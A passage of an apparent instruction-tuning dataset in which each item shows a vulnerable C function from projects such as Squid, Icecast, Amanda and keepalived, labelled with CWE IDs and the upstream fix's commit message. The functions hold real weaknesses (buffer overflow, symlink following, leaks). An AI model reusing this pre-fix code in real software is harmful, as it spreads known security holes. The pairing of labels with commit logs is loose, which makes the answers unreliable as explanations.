we have explicit permission to access SNMP data.\n * default (set above) is to deny all */\n if (Community) {\n ACLFilledChecklist checklist(Config.accessList.snmp, NULL, NULL);\n checklist.src_addr = rq->from;\n checklist.snmp_community = (char *) Community;\n allow = checklist.fastCheck();\n\n if (allow == ACCESS_ALLOWED && (snmp_coexist_V2toV1(PDU))) {\n rq->community = Community;\n rq->PDU = PDU;\n debugs(49, 5, \"snmpAgentParse: reqid=[\" << PDU->reqid << \"]\");\n snmpConstructReponse(rq);\n } else {\n debugs(49, DBG_IMPORTANT, \"WARNING: SNMP agent query DENIED from : \" << rq->from);\n }\n xfree(Community);\n\n } else {\n debugs(49, DBG_IMPORTANT, \"WARNING: Failed SNMP agent query from : \" << rq->from);\n snmp_free_pdu(PDU);\n }\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-772'], 'message': 'Fix memory leak when parsing SNMP packet (#313)\n\nSNMP queries denied by snmp_access rules and queries with certain\nunsupported SNMPv2 commands were leaking a few hundred bytes each. Such\nqueries trigger \"SNMP agent query DENIED from...\" WARNINGs in cache.log.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static void url_stream_auth (auth_client *auth_user)\n{\n ice_config_t *config;\n int port;\n client_t *client = auth_user->client;\n auth_url *url = client->auth->state;\n char *mount, *host, *user, *pass, *ipaddr, *admin=\"\";\n char post [4096];\n\n if (strchr (url->stream_auth, '@') == NULL)\n {\n if (url->userpwd)\n curl_easy_setopt (url->handle, CURLOPT_USERPWD, url->userpwd);\n else\n curl_easy_setopt (url->handle, CURLOPT_USERPWD, \"\");\n }\n else\n curl_easy_setopt (url->handle, CURLOPT_USERPWD, \"\");\n curl_easy_setopt (url->handle, CURLOPT_URL, url->stream_auth);\n curl_easy_setopt (url->handle, CURLOPT_POSTFIELDS, post);\n curl_easy_setopt (url->handle, CURLOPT_WRITEHEADER, auth_user);\n if (strcmp (auth_user->mount, httpp_getvar (client->parser, HTTPP_VAR_URI)) != 0)\n admin = \"&admin=1\";\n mount = util_url_escape (auth_user->mount);\n config = config_get_config ();\n host = util_url_escape (config->hostname);\n port = config->port;\n config_release_config ();\n ipaddr = util_url_escape (client->con->ip);\n\n if (client->username) {\n user = util_url_escape(client->username);\n } else {\n user = strdup(\"\");\n }\n\n if (client->password) {\n pass = util_url_escape(client->password);\n } else {\n pass = strdup(\"\");\n }\n\n snprintf (post, sizeof (post),\n \"action=stream_auth&mount=%s&ip=%s&server=%s&port=%d&user=%s&pass=%s%s\",\n mount, ipaddr, host, port, user, pass, admin);\n free (ipaddr);\n free (user);\n free (pass);\n free (mount);\n free (host);\n\n client->authenticated = 0;\n if (curl_easy_perform (url->handle))\n ICECAST_LOG_WARN(\"auth to server %s failed with %s\", url->stream_auth, url->errormsg);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-119'], 'message': 'Fix: Fixed buffer overflows in URL auth code.\n\nSee: #2342'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: ambsdtar_selfcheck(\n application_argument_t *argument)\n{\n if (argument->dle.disk) {\n\tchar *qdisk = quote_string(argument->dle.disk);\n\tfprintf(stdout, \"OK disk %s\\n\", qdisk);\n\tamfree(qdisk);\n }\n\n printf(\"OK ambsdtar version %s\\n\", VERSION);\n ambsdtar_build_exinclude(&argument->dle, 1, NULL, NULL, NULL, NULL);\n\n printf(\"OK ambsdtar\\n\");\n if (bsdtar_path) {\n\tif (check_file(bsdtar_path, X_OK)) {\n\t if (check_exec_for_suid(bsdtar_path, TRUE)) {\n\t\tchar *bsdtar_version;\n\t\tGPtrArray *argv_ptr = g_ptr_array_new();\n\n\t\tg_ptr_array_add(argv_ptr, bsdtar_path);\n\t\tg_ptr_array_add(argv_ptr, \"--version\");\n\t\tg_ptr_array_add(argv_ptr, NULL);\n\n\t\tbsdtar_version = get_first_line(argv_ptr);\n\t\tif (bsdtar_version) {\n\t\t char *tv, *bv;\n\t\t for (tv = bsdtar_version; *tv && !g_ascii_isdigit(*tv); tv++);\n\t\t for (bv = tv; *bv && *bv != ' '; bv++);\n\t\t if (*bv) *bv = '\\0';\n\t\t printf(\"OK ambsdtar bsdtar-version %s\\n\", tv);\n\t\t} else {\n\t\t printf(_(\"ERROR [Can't get %s version]\\n\"), bsdtar_path);\n\t\t}\n\n\t\tg_ptr_array_free(argv_ptr, TRUE);\n\t\tamfree(bsdtar_version);\n\t }\n\t}\n } else {\n\tprintf(_(\"ERROR [BSDTAR program not available]\\n\"));\n }\n\n set_root_privs(1);\n if (state_dir && strlen(state_dir) == 0)\n\tstate_dir = NULL;\n if (state_dir) {\n\tcheck_dir(state_dir, R_OK|W_OK);\n } else {\n\tprintf(_(\"ERROR [No STATE-DIR]\\n\"));\n }\n\n if (bsdtar_directory) {\n\tcheck_dir(bsdtar_directory, R_OK);\n } else if (argument->dle.device) {\n\tcheck_dir(argument->dle.device, R_OK);\n }\n\n if (argument->calcsize) {\n\tchar *calcsize = g_strjoin(NULL, amlibexecdir, \"/\", \"calcsize\", NULL);\n\tcheck_exec_for_suid(calcsize, TRUE);\n\tcheck_file(calcsize, X_OK);\n\tcheck_suid(calcsize);\n\tamfree(calcsize);\n }\n set_root_privs(0);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-77'], 'message': '* application-src/ambsdtar.c, application-src/amgtar.c,\n application-src/amstar.c: Filter option from COMMAND-OPTIONS\n* common-src/ammessage.c: Add message.\n\n\ngit-svn-id: https://svn.code.sf.net/p/amanda/code/amanda/trunk@6483 a8d146d6-cc15-0410-8900-af154a0219e0'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: ambsdtar_build_argv(\n application_argument_t *argument,\n char *timestamps,\n char **file_exclude,\n char **file_include,\n int command)\n{\n int nb_exclude = 0;\n int nb_include = 0;\n char *dirname;\n char tmppath[PATH_MAX];\n GPtrArray *argv_ptr = g_ptr_array_new();\n GSList *copt;\n\n ambsdtar_build_exinclude(&argument->dle, 1,\n\t\t\t &nb_exclude, file_exclude,\n\t\t\t &nb_include, file_include);\n\n if (bsdtar_directory) {\n\tdirname = bsdtar_directory;\n } else {\n\tdirname = argument->dle.device;\n }\n\n g_ptr_array_add(argv_ptr, g_strdup(bsdtar_path));\n\n g_ptr_array_add(argv_ptr, g_strdup(\"--create\"));\n g_ptr_array_add(argv_ptr, g_strdup(\"--file\"));\n if (command == CMD_ESTIMATE) {\n g_ptr_array_add(argv_ptr, g_strdup(\"/dev/null\"));\n } else {\n g_ptr_array_add(argv_ptr, g_strdup(\"-\"));\n }\n g_ptr_array_add(argv_ptr, g_strdup(\"--directory\"));\n canonicalize_pathname(dirname, tmppath);\n g_ptr_array_add(argv_ptr, g_strdup(tmppath));\n if (timestamps) {\n\tg_ptr_array_add(argv_ptr, g_strdup(\"--newer\"));\n\tg_ptr_array_add(argv_ptr, g_strdup(timestamps));\n }\n if (bsdtar_onefilesystem)\n\tg_ptr_array_add(argv_ptr, g_strdup(\"--one-file-system\"));\n if (argument->tar_blocksize) {\n\tg_ptr_array_add(argv_ptr, g_strdup(\"--block-size\"));\n\tg_ptr_array_add(argv_ptr, g_strdup(argument->tar_blocksize));\n }\n g_ptr_array_add(argv_ptr, g_strdup(\"--totals\"));\n\n for (copt = argument->command_options; copt != NULL; copt = copt->next) {\n\tg_ptr_array_add(argv_ptr, g_strdup((char *)copt->data));\n }\n\n if (*file_exclude) {\n\tg_ptr_array_add(argv_ptr, g_strdup(\"--exclude-from\"));\n\tg_ptr_array_add(argv_ptr, g_strdup(*file_exclude));\n }\n\n if (*file_include) {\n\tg_ptr_array_add(argv_ptr, g_strdup(\"--files-from\"));\n\tg_ptr_array_add(argv_ptr, g_strdup(*file_include));\n } else {\n\tg_ptr_array_add(argv_ptr, g_strdup(\".\"));\n }\n g_ptr_array_add(argv_ptr, NULL);\n\n return(argv_ptr);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-264'], 'message': '* Add a /etc/amanda-security.conf file\n\n\ngit-svn-id: https://svn.code.sf.net/p/amanda/code/amanda/branches/3_3@6486 a8d146d6-cc15-0410-8900-af154a0219e0'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: ambsdtar_backup(\n application_argument_t *argument)\n{\n int dumpin;\n char *cmd = NULL;\n char *qdisk;\n char *timestamps;\n int mesgf = 3;\n int indexf = 4;\n int outf;\n int data_out;\n int index_out;\n int index_err;\n char *errmsg = NULL;\n amwait_t wait_status;\n GPtrArray *argv_ptr;\n pid_t tarpid;\n pid_t indexpid = 0;\n time_t tt;\n char *file_exclude;\n char *file_include;\n char new_timestamps[64];\n char *option;\n\n mesgstream = fdopen(mesgf, \"w\");\n if (!mesgstream) {\n\terror(_(\"error mesgstream(%d): %s\\n\"), mesgf, strerror(errno));\n }\n\n if (!bsdtar_path) {\n\terror(_(\"BSDTAR-PATH not defined\"));\n }\n\n if (!check_exec_for_suid(bsdtar_path, FALSE)) {\n\terror(\"'%s' binary is not secure\", bsdtar_path);\n }\n\n if ((option = validate_command_options(argument))) {\n\tfprintf(stdout, \"? Invalid '%s' COMMAND-OPTIONS\\n\", option);\n\terror(\"Invalid '%s' COMMAND-OPTIONS\", option);\n }\n\n if (!state_dir) {\n\terror(_(\"STATE-DIR not defined\"));\n }\n\n if (!argument->level) {\n fprintf(mesgstream, \"? No level argument\\n\");\n error(_(\"No level argument\"));\n }\n if (!argument->dle.disk) {\n fprintf(mesgstream, \"? No disk argument\\n\");\n error(_(\"No disk argument\"));\n }\n if (!argument->dle.device) {\n fprintf(mesgstream, \"? No device argument\\n\");\n error(_(\"No device argument\"));\n }\n\n qdisk = quote_string(argument->dle.disk);\n\n tt = time(NULL);\n ctime_r(&tt, new_timestamps);\n new_timestamps[strlen(new_timestamps)-1] = '\\0';\n timestamps = ambsdtar_get_timestamps(argument,\n\t\t\t\t GPOINTER_TO_INT(argument->level->data),\n\t\t\t\t mesgstream, CMD_BACKUP);\n cmd = g_strdup(bsdtar_path);\n argv_ptr = ambsdtar_build_argv(argument, timestamps, &file_exclude,\n\t\t\t\t &file_include, CMD_BACKUP);\n\n if (argument->dle.create_index) {\n\ttarpid = pipespawnv(cmd, STDIN_PIPE|STDOUT_PIPE|STDERR_PIPE, 1,\n\t\t\t&dumpin, &data_out, &outf, (char **)argv_ptr->pdata);\n\tg_ptr_array_free_full(argv_ptr);\n\targv_ptr = g_ptr_array_new();\n\tg_ptr_array_add(argv_ptr, g_strdup(bsdtar_path));\n\tg_ptr_array_add(argv_ptr, g_strdup(\"tf\"));\n\tg_ptr_array_add(argv_ptr, g_strdup(\"-\"));\n\tg_ptr_array_add(argv_ptr, NULL);\n\tindexpid = pipespawnv(cmd, STDIN_PIPE|STDOUT_PIPE|STDERR_PIPE, 1,\n\t\t\t &index_in, &index_out, &index_err,\n\t\t\t (char **)argv_ptr->pdata);\n\tg_ptr_array_free_full(argv_ptr);\n\n\taclose(dumpin);\n\n\tindexstream = fdopen(indexf, \"w\");\n\tif (!indexstream) {\n\t error(_(\"error indexstream(%d): %s\\n\"), indexf, strerror(errno));\n\t}\n\tread_fd(data_out , \"data out\" , &read_data_out);\n\tread_fd(outf , \"data err\" , &read_text);\n\tread_fd(index_out, \"index out\", &read_text);\n\tread_fd(index_err, \"index_err\", &read_text);\n } else {\n\ttarpid = pipespawnv(cmd, STDIN_PIPE|STDERR_PIPE, 1,\n\t\t\t&dumpin, &dataf, &outf, (char **)argv_ptr->pdata);\n\tg_ptr_array_free_full(argv_ptr);\n\taclose(dumpin);\n\taclose(dataf);\n\tread_fd(outf, \"data err\", &read_text);\n }\n\n event_loop(0);\n\n waitpid(tarpid, &wait_status, 0);\n if (WIFSIGNALED(wait_status)) {\n\terrmsg = g_strdup_printf(_(\"%s terminated with signal %d: see %s\"),\n\t\t\t cmd, WTERMSIG(wait_status), dbfn());\n\texit_status = 1;\n } else if (WIFEXITED(wait_status)) {\n\tif (exit_value[WEXITSTATUS(wait_status)] == 1) {\n\t errmsg = g_strdup_printf(_(\"%s exited with status %d: see %s\"),\n\t\t\t\tcmd, WEXITSTATUS(wait_status), dbfn());\n\t exit_status = 1;\n\t} else {\n\t /* Normal exit */\n\t}\n } else {\n\terrmsg = g_strdup_printf(_(\"%s got bad exit: see %s\"),\n\t\t\t cmd, dbfn());\n\texit_status = 1;\n }\n if (argument->dle.create_index) {\n\twaitpid(indexpid, &wait_status, 0);\n\tif (WIFSIGNALED(wait_status)) {\n\t errmsg = g_strdup_printf(_(\"'%s index' terminated with signal %d: see %s\"),\n\t\t\t cmd, WTERMSIG(wait_status), dbfn());\n\t exit_status = 1;\n\t} else if (WIFEXITED(wait_status)) {\n\t if (exit_value[WEXITSTATUS(wait_status)] == 1) {\n\t\terrmsg = g_strdup_printf(_(\"'%s index' exited with status %d: see %s\"),\n\t\t\t\tcmd, WEXITSTATUS(wait_status), dbfn());\n\t\texit_status = 1;\n\t } else {\n\t\t/* Normal exit */\n\t }\n\t} else {\n\t errmsg = g_strdup_printf(_(\"'%s index' got bad exit: see %s\"),\n\t\t\t cmd, dbfn());\n\t exit_status = 1;\n\t}\n }\n g_debug(_(\"after %s %s wait\"), cmd, qdisk);\n g_debug(_(\"ambsdtar: %s: pid %ld\"), cmd, (long)tarpid);\n if (errmsg) {\n\tg_debug(\"%s\", errmsg);\n\tg_fprintf(mesgstream, \"sendbackup: error [%s]\\n\", errmsg);\n\texit_status = 1;\n } else if (argument->dle.record) {\n\tambsdtar_set_timestamps(argument,\n\t\t\t\tGPOINTER_TO_INT(argument->level->data),\n\t\t\t\tnew_timestamps,\n\t\t\t\tmesgstream);\n }\n\n\n g_debug(\"sendbackup: size %lld\", (long long)dump_size);\n fprintf(mesgstream, \"sendbackup: size %lld\\n\", (long long)dump_size);\n g_debug(\"sendbackup: end\");\n fprintf(mesgstream, \"sendbackup: end\\n\");\n\n if (argument->dle.create_index)\n\tfclose(indexstream);\n\n fclose(mesgstream);\n\n if (argument->verbose == 0) {\n\tif (file_exclude)\n\t unlink(file_exclude);\n\tif (file_include)\n\t unlink(file_include);\n }\n\n amfree(file_exclude);\n amfree(file_include);\n amfree(timestamps);\n amfree(qdisk);\n amfree(cmd);\n amfree(errmsg);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-264'], 'message': '* Add a /etc/amanda-security.conf file\n\n\ngit-svn-id: https://svn.code.sf.net/p/amanda/code/amanda/branches/3_3@6486 a8d146d6-cc15-0410-8900-af154a0219e0'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: bool EmbFile::save2(FILE *f) {\n int c;\n\n m_objStr.streamReset();\n while ((c = m_objStr.streamGetChar()) != EOF) {\n fputc(c, f);\n }\n return true;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-670'], 'message': 'Check for stream before calling stream methods when saving an embedded file.\n\nCloses #659'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: read_file(gchar* filepath)\n{\n\tFILE * f;\n\tsize_t length;\n\tgchar *ret = NULL;\n\n\tf = fopen(filepath, \"rb\");\n\tif (f) {\n\t\tfseek(f, 0, SEEK_END);\n\t\tlength = (size_t)ftell(f);\n\t\tfseek(f, 0, SEEK_SET);\n\n\t\t/* We can't use MALLOC since it isn't thread safe */\n\t\tret = MALLOC(length + 1);\n\t\tif (ret) {\n\t\t\tif (fread(ret, length, 1, f) != 1) {\n\t\t\t\tlog_message(LOG_INFO, \"Failed to read all of %s\", filepath);\n\t\t\t}\n\t\t\tret[length] = '\\0';\n\t\t}\n\t\telse\n\t\t\tlog_message(LOG_INFO, \"Unable to read Dbus file %s\", filepath);\n\n\t\tfclose(f);\n\t}\n\treturn ret;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-59', 'CWE-61'], 'message': 'When opening files for write, ensure they aren't symbolic links\n\nIssue #1048 identified that if, for example, a non privileged user\ncreated a symbolic link from /etc/keepalvied.data to /etc/passwd,\nwriting to /etc/keepalived.data (which could be invoked via DBus)\nwould cause /etc/passwd to be overwritten.\n\nThis commit stops keepalived writing to pathnames where the ultimate\ncomponent is a symbolic link, by setting O_NOFOLLOW whenever opening\na file for writing.\n\nThis might break some setups, where, for example, /etc/keepalived.data\nwas a symbolic link to /home/fred/keepalived.data. If this was the case,\ninstead create a symbolic link from /home/fred/keepalived.data to\n/tmp/keepalived.data, so that the file is still accessible via\n/home/fred/keepalived.data.\n\nThere doesn't appear to be a way around this backward incompatibility,\nsince even checking if the pathname is a symbolic link prior to opening\nfor writing would create a race condition.\n\nSigned-off-by: Quentin Armitage '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: open_log_file(const char *name, const char *prog, const char *namespace, const char *instance)\n{\n\tchar *file_name;\n\n\tif (log_file) {\n\t\tfclose(log_file);\n\t\tlog_file = NULL;\n\t}\n\n\tif (!name)\n\t\treturn;\n\n\tfile_name = make_file_name(name, prog, namespace, instance);\n\n\tlog_file = fopen(file_name, \"a\");\n\tif (log_file) {\n\t\tint n = fileno(log_file);\n\t\tfcntl(n, F_SETFD, FD_CLOEXEC | fcntl(n, F_GETFD));\n\t\tfcntl(n, F_SETFL, O_NONBLOCK | fcntl(n, F_GETFL));\n\t}\n\n\tFREE(file_name);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-59', 'CWE-61'], 'message': 'When opening files for write, ensure they aren't symbolic links\n\nIssue #1048 identified that if, for example, a non privileged user\ncreated a symbolic link from /etc/keepalvied.data to /etc/passwd,\nwriting to /etc/keepalived.data (which could be invoked via DBus)\nwould cause /etc/passwd to be overwritten.\n\nThis commit stops keepalived writing to pathnames where the ultimate\ncomponent is a symbolic link, by setting O_NOFOLLOW whenever opening\na file for writing.\n\nThis might break some setups, where, for example, /etc/keepalived.data\nwas a symbolic link to /home/fred/keepalived.data. If this was the case,\ninstead create a symbolic link from /home/fred/keepalived.data to\n/tmp/keepalived.data, so that the file is still accessible via\n/home/fred/keepalived.data.\n\nThere doesn't appear to be a way around this backward incompatibility,\nsince even checking if the pathname is a symbolic link prior to opening\nfor writing would create a race condition.\n\nSigned-off-by: Quentin Armitage '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: modprobe_ipvs(void)\n{\n\tchar *argv[] = { \"/sbin/modprobe\", \"-s\", \"--\", \"ip_vs\", NULL };\n\tint child;\n\tint status;\n\tint rc;\n\tchar *modprobe = get_modprobe();\n\tstruct sigaction act, old_act;\n\n\tif (modprobe)\n\t\targv[0] = modprobe;\n\n\tact.sa_handler = SIG_DFL;\n\tsigemptyset(&act.sa_mask);\n\tact.sa_flags = 0;\n\n\tsigaction ( SIGCHLD, &act, &old_act);\n\n\tif (log_file_name)\n\t\tflush_log_file();\n\n\tif (!(child = fork())) {\n\t\texecv(argv[0], argv);\n\t\texit(1);\n\t}\n\n\trc = waitpid(child, &status, 0);\n\n\tsigaction ( SIGCHLD, &old_act, NULL);\n\n\tif (rc < 0) {\n\t\tlog_message(LOG_INFO, \"IPVS: waitpid error (%s)\"\n\t\t\t\t , strerror(errno));\n\t}\n\n\tif (modprobe)\n\t\tFREE(modprobe);\n\n\tif (!WIFEXITED(status) || WEXITSTATUS(status)) {\n\t\treturn true;\n\t}\n\n\treturn false;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-200'], 'message': 'Disable fopen_safe() append mode by default\n\nIf a non privileged user creates /tmp/keepalived.log and has it open\nfor read (e.g. tail -f), then even though keepalived will change the\nowner to root and remove all read/write permissions from non owners,\nthe application which already has the file open will be able to read\nthe added log entries.\n\nAccordingly, opening a file in append mode is disabled by default, and\nonly enabled if --enable-smtp-alert-debug or --enable-log-file (which\nare debugging options and unset by default) are enabled.\n\nThis should further alleviate security concerns related to CVE-2018-19046.\n\nSigned-off-by: Quentin Armitage '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: FILE *fopen_safe(const char *path, const char *mode)\n{\n\tint fd;\n\tFILE *file;\n\tint flags = O_NOFOLLOW | O_CREAT;\n\tint sav_errno;\n\n\tif (mode[0] == 'r')\n\t\treturn fopen(path, mode);\n\n\tif ((mode[0] != 'a' && mode[0] != 'w') ||\n\t (mode[1] &&\n\t (mode[1] != '+' || mode[2]))) {\n\t\terrno = EINVAL;\n\t\treturn NULL;\n\t}\n\n\tif (mode[0] == 'w')\n\t\tflags |= O_TRUNC;\n\telse\n\t\tflags |= O_APPEND;\n\n\tif (mode[1])\n\t\tflags |= O_RDWR;\n\telse\n\t\tflags |= O_WRONLY;\n\n\tfd = open(path, flags, S_IRUSR | S_IWUSR | S_IRGRP | S_IWGRP | S_IROTH | S_IWOTH);\n\tif (fd == -1)\n\t\treturn NULL;\n\n\t/* Change file ownership to root */\n\tif (fchown(fd, 0, 0)) {\n\t\tsav_errno = errno;\n\t\tlog_message(LOG_INFO, \"Unable to change file ownership of %s- errno %d (%m)\", path, errno);\n\t\tclose(fd);\n\t\terrno = sav_errno;\n\t\treturn NULL;\n\t}\n\n\t/* Set file mode to rw------- */\n\tif (fchmod(fd, S_IRUSR | S_IWUSR)) {\n\t\tsav_errno = errno;\n\t\tlog_message(LOG_INFO, \"Unable to change file permission of %s - errno %d (%m)\", path, errno);\n\t\tclose(fd);\n\t\terrno = sav_errno;\n\t\treturn NULL;\n\t}\n\n\tfile = fdopen (fd, \"w\");\n\tif (!file) {\n\t\tsav_errno = errno;\n\t\tlog_message(LOG_INFO, \"fdopen(\\\"%s\\\") failed - errno %d (%m)\", path, errno);\n\t\tclose(fd);\n\t\terrno = sav_errno;\n\t\treturn NULL;\n\t}\n\n\treturn file;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-200'], 'message': 'Disable fopen_safe() append mode by default\n\nIf a non privileged user creates /tmp/keepalived.log and has it open\nfor read (e.g. tail -f), then even though keepalived will change the\nowner to root and remove all read/write permissions from non owners,\nthe application which already has the file open will be able to read\nthe added log entries.\n\nAccordingly, opening a file in append mode is disabled by default, and\nonly enabled if --enable-smtp-alert-debug or --enable-log-file (which\nare debugging options and unset by default) are enabled.\n\nThis should further alleviate security concerns related to CVE-2018-19046.\n\nSigned-off-by: Quentin Armitage '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: aiff_read_comm_chunk (SF_PRIVATE *psf, COMM_CHUNK *comm_fmt)\n{\tBUF_UNION\tubuf ;\n\tint subformat, samplerate ;\n\n\tubuf.scbuf [0] = 0 ;\n\n\t/* The COMM chunk has an int aligned to an odd word boundary. Some\n\t** procesors are not able to deal with this (ie bus fault) so we have\n\t** to take special care.\n\t*/\n\n\tpsf_binheader_readf (psf, \"E242b\", &(comm_fmt->numChannels), &(comm_fmt->numSampleFrames),\n\t\t\t\t&(comm_fmt->sampleSize), &(comm_fmt->sampleRate), SIGNED_SIZEOF (comm_fmt->sampleRate)) ;\n\n\tif (comm_fmt->size > 0x10000 && (comm_fmt->size & 0xffff) == 0)\n\t{\tpsf_log_printf (psf, \" COMM : %d (0x%x) *** should be \", comm_fmt->size, comm_fmt->size) ;\n\t\tcomm_fmt->size = ENDSWAP_32 (comm_fmt->size) ;\n\t\tpsf_log_printf (psf, \"%d (0x%x)\\n\", comm_fmt->size, comm_fmt->size) ;\n\t\t}\n\telse\n\t\tpsf_log_printf (psf, \" COMM : %d\\n\", comm_fmt->size) ;\n\n\tif (comm_fmt->size == SIZEOF_AIFF_COMM)\n\t\tcomm_fmt->encoding = NONE_MARKER ;\n\telse if (comm_fmt->size == SIZEOF_AIFC_COMM_MIN)\n\t\tpsf_binheader_readf (psf, \"Em\", &(comm_fmt->encoding)) ;\n\telse if (comm_fmt->size >= SIZEOF_AIFC_COMM)\n\t{\tuint8_t encoding_len ;\n\t\tunsigned read_len ;\n\n\t\tpsf_binheader_readf (psf, \"Em1\", &(comm_fmt->encoding), &encoding_len) ;\n\n\t\tcomm_fmt->size = SF_MIN (sizeof (ubuf.scbuf), make_size_t (comm_fmt->size)) ;\n\t\tmemset (ubuf.scbuf, 0, comm_fmt->size) ;\n\t\tread_len = comm_fmt->size - SIZEOF_AIFC_COMM + 1 ;\n\t\tpsf_binheader_readf (psf, \"b\", ubuf.scbuf, read_len) ;\n\t\tubuf.scbuf [read_len + 1] = 0 ;\n\t\t} ;\n\n\tsamplerate = tenbytefloat2int (comm_fmt->sampleRate) ;\n\n\tpsf_log_printf (psf, \" Sample Rate : %d\\n\", samplerate) ;\n\tpsf_log_printf (psf, \" Frames : %u%s\\n\", comm_fmt->numSampleFrames, (comm_fmt->numSampleFrames == 0 && psf->filelength > 104) ? \" (Should not be 0)\" : \"\") ;\n\n\tif (comm_fmt->numChannels < 1 || comm_fmt->numChannels >= SF_MAX_CHANNELS)\n\t{\tpsf_log_printf (psf, \" Channels : %d (should be >= 1 and < %d)\\n\", comm_fmt->numChannels, SF_MAX_CHANNELS) ;\n\t\treturn SFE_CHANNEL_COUNT_BAD ;\n\t\t} ;\n\n\tpsf_log_printf (psf, \" Channels : %d\\n\", comm_fmt->numChannels) ;\n\n\t/* Found some broken 'fl32' files with comm.samplesize == 16. Fix it here. */\n\tif ((comm_fmt->encoding == fl32_MARKER || comm_fmt->encoding == FL32_MARKER) && comm_fmt->sampleSize != 32)\n\t{\tpsf_log_printf (psf, \" Sample Size : %d (should be 32)\\n\", comm_fmt->sampleSize) ;\n\t\tcomm_fmt->sampleSize = 32 ;\n\t\t}\n\telse if ((comm_fmt->encoding == fl64_MARKER || comm_fmt->encoding == FL64_MARKER) && comm_fmt->sampleSize != 64)\n\t{\tpsf_log_printf (psf, \" Sample Size : %d (should be 64)\\n\", comm_fmt->sampleSize) ;\n\t\tcomm_fmt->sampleSize = 64 ;\n\t\t}\n\telse\n\t\tpsf_log_printf (psf, \" Sample Size : %d\\n\", comm_fmt->sampleSize) ;\n\n\tsubformat = s_bitwidth_to_subformat (comm_fmt->sampleSize) ;\n\n\tpsf->sf.samplerate = samplerate ;\n\tpsf->sf.frames = comm_fmt->numSampleFrames ;\n\tpsf->sf.channels = comm_fmt->numChannels ;\n\tpsf->bytewidth = BITWIDTH2BYTES (comm_fmt->sampleSize) ;\n\n\tpsf->endian = SF_ENDIAN_BIG ;\n\n\tswitch (comm_fmt->encoding)\n\t{\tcase NONE_MARKER :\n\t\t\t\tpsf->sf.format = (SF_FORMAT_AIFF | subformat) ;\n\t\t\t\tbreak ;\n\n\t\tcase twos_MARKER :\n\t\tcase in24_MARKER :\n\t\tcase in32_MARKER :\n\t\t\t\tpsf->sf.format = (SF_ENDIAN_BIG | SF_FORMAT_AIFF | subformat) ;\n\t\t\t\tbreak ;\n\n\t\tcase sowt_MARKER :\n\t\tcase ni24_MARKER :\n\t\tcase ni32_MARKER :\n\t\t\t\tpsf->endian = SF_ENDIAN_LITTLE ;\n\t\t\t\tpsf->sf.format = (SF_ENDIAN_LITTLE | SF_FORMAT_AIFF | subformat) ;\n\t\t\t\tbreak ;\n\n\t\tcase fl32_MARKER :\n\t\tcase FL32_MARKER :\n\t\t\t\tpsf->sf.format = (SF_FORMAT_AIFF | SF_FORMAT_FLOAT) ;\n\t\t\t\tbreak ;\n\n\t\tcase ulaw_MARKER :\n\t\tcase ULAW_MARKER :\n\t\t\t\tpsf->sf.format = (SF_FORMAT_AIFF | SF_FORMAT_ULAW) ;\n\t\t\t\tbreak ;\n\n\t\tcase alaw_MARKER :\n\t\tcase ALAW_MARKER :\n\t\t\t\tpsf->sf.format = (SF_FORMAT_AIFF | SF_FORMAT_ALAW) ;\n\t\t\t\tbreak ;\n\n\t\tcase fl64_MARKER :\n\t\tcase FL64_MARKER :\n\t\t\t\tpsf->sf.format = (SF_FORMAT_AIFF | SF_FORMAT_DOUBLE) ;\n\t\t\t\tbreak ;\n\n\t\tcase raw_MARKER :\n\t\t\t\tpsf->sf.format = (SF_FORMAT_AIFF | SF_FORMAT_PCM_U8) ;\n\t\t\t\tbreak ;\n\n\t\tcase DWVW_MARKER 